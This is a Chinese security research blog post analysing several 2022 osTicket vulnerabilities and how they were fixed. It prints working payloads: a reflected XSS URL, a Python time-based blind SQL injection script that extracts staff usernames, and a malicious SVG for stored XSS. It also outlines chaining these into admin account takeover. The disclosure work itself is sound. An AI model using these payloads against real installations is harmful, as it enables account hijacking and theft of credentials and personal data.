前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >osTicket开源票证系统漏洞研究

osTicket开源票证系统漏洞研究

作者头像
信安百科
发布2023-10-02 18:27:07
3330
发布2023-10-02 18:27:07
举报
文章被收录于专栏:信安百科信安百科

0x00 前言

osTicket是一种广泛使用的开源票证系统。此系统通过电子邮件,电话和基于Web的表单创建的查询集成到简单易用的多用户Web界面中。

0x01 反射型 XSS(CVE-2022-32132)

在 osTicket 中发现了一个 反射型XSS,允许攻击者将恶意 JavaScript 注入浏览器的 DOM,这可能使攻击者能够劫持用户会话,在该用户的会话上下文中代表用户执行操作等等。

在分析之后,我们验证了该漏洞确实存在于应用程序中。我们的首要目标是了解并逃避黑名单。果然,一些特殊字符让我们在“目录”URL 中发现了这个反射型XSS漏洞,它在每个osTicket 安装中默认可用。黑名单准备阻止用户输入转义 HTML 标签,甚至创建像 <script> 这样的危险标签,但在这个特定场景中,输入被添加到一个属性,它允许从属性中转义。一个明显的有效负载是使用 onmouseover 属性,当鼠标移到组件上时,它会以 JavaScript 的形式运行它的值。

(执行xss payload)

(带有 XSS payload的源代码)

可以做一些事情来增加这个漏洞的价值(或风险),首先是让受害者更容易受到攻击。实现此目的的一种简单方法是同时注入易受攻击的 HTML 标记的样式属性,以使其与屏幕大小一致,这几乎是受害者访问 URL 并触发有效载荷所不可避免的。

代码语言:javascript
复制
/scp/directory.php?&&order=DESCE%22%20onmouseover=%22alert(1)%22%20style=%22position:fixed;top:0px;right:0;bottom:0px;left:0px;&sort=name

可以做的另一件事是通过使用其他弱点来利用此漏洞。我们发现了两个可以被滥用的案例:

“注释”部分中的存储 HTML 注入可能会被滥用,从而在应用程序内部形成永久性攻击向量,将用户重定向到反射 XSS,使其在实践中成为存储 XSS。

“更改密码”功能中的 CSRF 可以用作 XSS 的有效载荷,允许攻击者更改受害者的用户密码。

由于 directory.php 页面位于管理面板中,因此这些步骤可以利用此漏洞从简单的反射型 XSS 到存储型 XSS,无需安装任何插件即可完全接管管理员帐户。

0x02 反射型 XSS(CVE-2022-31889

在 Audit 插件中,我们发现了两个 反射型 XSS 结果,其中用户输入的类型或状态参数未经过清理就被插入到 HTML 中。该修复为这些输入添加了缺失的清理。在分析插件结果时采用了与“方法论”部分中介绍的程序类似的程序。

在分析并确认它是 True Positive 之后,我们确认它确实容易受到 XSS 攻击。查看出现漏洞的代码,我们可以看到它是多么容易被利用:

(在 HTML 中插入类型变量而不经过清理)

来自 type 和 state 参数的输入被插入到“a”标签中,没有任何净化。我们可以关闭 href 引号和标签 (>) 并插入一个简单的脚本标签。

(带有 XSS payload的源代码)

0x03 SQL注入漏洞 (CVE-2022-31890)

在同一个插件(Audit)中,我们遇到了一个 SQL 注入结果,其中来自订单参数的用户输入被插入到 SQL 查询中而没有经过适当的清理。查看修复,旧代码中的 if 语句中有一个条件,用于验证订单查询参数是否存在于 orderWay 数组中。问题是这个数组没有定义,所以 PHP 会发出一个 Notice 并且 if 条件总是 false。更正涉及添加缺失的数组和更改顺序变量的一些清理逻辑。

(直接连接到 SQL 查询中的 order_by 变量)

在确认流程确实存在漏洞后,创建了一个概念验证来演示实际影响,如图 13 所示。通过利用 SQL 注入漏洞,攻击者可以获得密码哈希、PII 和访问权限信息。事实上,注入是在 ORDER BY 之后进行的,这使得可能的注入受到限制。ORDER BY 子句之后的 SQL 注入与其他情况(例如 WHERE 子句之后)不同,因为数据库不接受 UNION、WHERE、OR 或 AND 关键字。可以有嵌套查询,如果我们使用分号,我们也可以有多个查询,但这只有在执行查询的方法允许执行多个查询时才有可能。在这种情况下,执行查询的方法不允许多个查询。尽管如此,基于时间的盲注入是可能的,允许从数据库中提取数据。

常规请求示例:

(对 audits.php 页面的正常请求)

延时注入:

(audits.php 页面中的延时注入结果)

有了这些知识,我们可以创建一个允许数据提取的脚本,当满足特定条件时触发睡眠,比如用户表中的特定字符与我们提供的匹配。

代码语言:javascript
复制
import requests
import urllib
import string

HOSTNAME = 'http://localhost'
cookie = {'OSTSESSID': '...'}
headers = {'User-Agent': '...'}
alphabet = string.ascii_lowercase + string.digits + '-_!'
position = 1
offset = 0

for letter in alphabet:
    payload = "(select case when ((select substring(username," + str(position) + ",1) from os_staff LIMIT 1 OFFSET " + str(offset) + ")='" + letter + "') then sleep(0.3) else 1 end);"
    result = requests.get(HOSTNAME + '/scp/audits.php?&type=S&state=All&order=ASC,' + urllib.parse.quote(payload) +'--&sort=timestamp&_pjax=%23pjax-container', cookies=cookie, headers=headers)
    if result.elapsed.total_seconds() > 2:
        print(letter)
        break

(获取第一个 os_staff 表条目的第一个用户名字符的 Python 脚本)

0x04 会话修复(CVE-2022-31888)

SAST 工具增加了可以发现的安全问题的数量,但在试图发现各种问题时,代码分析是不够的。例如,我们在与应用程序交互时发现了一个会话固定问题,通过代码审查很难注意到这个问题。

由于问题的性质,检测新会话的生成和旧会话在正确位置的终止检测起来很复杂。大多数时候,需要对代码库有清晰的了解才能发现会话固定问题,但这也可以应用于其他类型的漏洞,这些漏洞可以链接在一起并产生更高的风险。如果我们想发现其他类型的漏洞,或者只在特定情况下触发的漏洞,动态测试也是必要的。

在这种情况下,应用程序提供了两个登录页面,一个用于管理面板,另一个用于用户门户。在测试两个接口时,现有的会话 cookie(在两个接口中使用)在登录后不会失效。

我们在对登录页面进行模糊测试时发现了这个漏洞。当登录成功时,服务器应该使之前的会话无效,并通过在 Set-Cookie 标头中发送它来创建一个新会话。这并没有发生,也可以定义我们自己的会话。

(带有受控 cookie 的 Set-Cookie)

(会话 cookie 受控)

如果攻击者可以在身份验证之前访问或控制会话值,则进行身份验证的用户将对攻击者已知的会话进行身份验证,然后攻击者将劫持它。

0x05 存储型 XSS (CVE-2022-32074 )

在动态分析文件系统存储插件时,我们遇到了两个问题:

1、可以直接浏览到文件上传目录的根目录(在本例中,为文件夹选择的名称是 file_uploads)。有了这个,目录列表是可能的,如下所示。

2、可通过此存储访问的图像无法正确中和可能包含 XSS 负载的 SVG 文件。例如,在 JPG 文件中上传以下 XML 将作为 SVG 提供其内容。

代码语言:javascript
复制
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">

<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
   <rect width="200" height="200" style="fill:rgb(0,255,255);stroke-width:3;stroke:rgb(0,0,0)" />
   <script type="text/javascript">
      alert("Stored XSS!!");
</script>
</svg>

通过利用这两个问题,我们能够找到存储型 XSS。

0x06参考链接

代码语言:javascript
复制
1.https://www.php.net/manual/en/language.variables.variable.php
2.https://portswigger.net/web-security/cross-site-scripting/reflected
3.https://owasp.org/www-community/Injection_Theory
4.https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html
5.https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html

推荐阅读:

MyBB <= 1.8.31:SQL注入漏洞利用

Clash for Windows远程代码执行漏洞

FortiOS & FortiProxy远程代码执行漏洞

本文参与?腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2023-04-07 16:20:54,如有侵权请联系?cloudcommunity@tencent.com 删除

本文分享自 信安百科 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与?腾讯云自媒体分享计划? ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
对象存储
对象存储(Cloud Object Storage,COS)是由腾讯云推出的无目录层次结构、无数据格式限制,可容纳海量数据且支持 HTTP/HTTPS 协议访问的分布式存储服务。腾讯云 COS 的存储桶空间无容量上限,无需分区管理,适用于 CDN 数据分发、数据万象处理或大数据计算与分析的数据湖等多种场景。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
http://www.vxiaotou.com